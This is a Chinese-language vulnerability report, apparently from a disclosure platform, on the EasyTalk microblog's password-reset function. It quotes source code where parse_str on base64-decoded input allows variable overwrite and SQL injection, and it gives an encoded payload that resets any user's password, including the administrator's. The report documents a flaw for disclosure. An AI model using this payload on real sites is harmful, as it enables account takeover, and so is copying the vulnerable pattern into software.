### 简要描述:
开源微博系统EasyTalk任意用户密码修改,包括管理员 而且不用登陆,非常强大...
(其实只是一个小小的设计缺陷):-)
### 详细说明:
#1 CMS介绍
EasyTalk是国内首款多用户PHP+Mysql开源微博系统,支持网页、手机Wap、手机短信、QQ、Gtalk、飞信等多种方式发表或接收信息,EasyTalk全面符合国人的上网习惯,真正轻量级架构,使得使用者上手容易,管理者安装部署容易、管理便捷。EasyTalk功能强大,便捷的插件系统,可二次开发性高,人性化的模板自定义功能大幅提高了用户的体验,因此EasyTalk相比国内其他微博系统有绝对的优势!
[<img src="https://images.seebug.org/upload/201402/17102500370f92ae0c4432434702d8e2b18a5c09.jpg" alt="11.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/17102500370f92ae0c4432434702d8e2b18a5c09.jpg)
#2 漏洞分析
我们先来看下用户找回密码的连接
```
http://www.vulns.org/easytalk/?m=index&a=checkreset&urldata=dXNlcl9uYW1lPXRlc3QmbWFpbGFkcmVzPWZlbGl4azN5QHFxLmNvbSZ1c2VyX2lkPTImZGF0ZWxpbmU9MTM5MjYwNDE5NQ==
```
这里重点留意urldata参数,很显然是Base64加密,我们把它解密
```
user_name=test&mailadres=felixk3y@qq.com&user_id=2&dateline=1392604195
```
第一感觉,90%有问题...
接下来,我们看该处的源代码,都是怎样实现的
/Home/Lib/Action/IndexAction.class.php 445行checkreset()函数
```
public function checkreset() {
parent::tohome();
$uModel=D('Users');
$urldata=$_REQUEST['urldata'];//接收urldata 参数
parse_str(base64_decode($urldata));//parse_str 变量覆盖
if (time()-$dateline>3600*5) {
setcookie('setok', json_encode(array('lang'=>L('reset3'),'ico'=>2)),0,'/');//该地址已经过期,请重新“找回密码”
header('location:'.SITE_URL.'/?m=index&a=reset');
exit;
} else {
$user=$uModel->getUser("user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'");//直接带入了数据库...Oh My Ga.
if (!$user['user_id']) {
setcookie('setok', json_encode(array('lang'=>L('reset4'),'ico'=>2)),0,'/');//地址验证失败,请重新“找回密码”
header('location:'.SITE_URL.'/?m=index&a=reset');
exit;
}
}
$this->assign('subname',L('find_pwd'));
$this->assign('user',$user);
$this->assign('urldata',$urldata);
$this->assign('type','find');
$this->display('reset');
}
```
$_REQUEST 方式接收urldata参数,Base64解码后直接带入了数据库查询,我的天 这究竟是神马设计?
既然它毫不客气的将参数带入了数据库,那么我肯定也是不会客气
从程序可以猜测,更新用户密码的SQL 类似如下
```
update * from tk_user where user_id='$user_id' AND user_name='$user_name' AND mailadres='$mailadres'
```
于是我们利用parse_str变量覆盖,可以提交urldata参数为
```
urldata= dXNlcl9pZD0yJyBhbmQgMT0xIw==
Base64解码为:urldata=user_id=1' and 1=1#
```
就可以修改管理员(管理的user_id为1)的密码
[<img src="https://images.seebug.org/upload/201402/1710451655f046291e5a755ae1f1b24cf6269a51.jpg" alt="22.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/1710451655f046291e5a755ae1f1b24cf6269a51.jpg)
同理,我们修改user_id为其他用户的id,即可修改其密码
[<img src="https://images.seebug.org/upload/201402/171047191cf43e74e304a7dcbf3d593704007ba9.jpg" alt="33.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/171047191cf43e74e304a7dcbf3d593704007ba9.jpg)
### 漏洞证明:
[<img src="https://images.seebug.org/upload/201402/1710502799ccd3a9b1dc3ede09d5fd2e00c2e062.jpg" alt="44.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201402/1710502799ccd3a9b1dc3ede09d5fd2e00c2e062.jpg)
暂无评论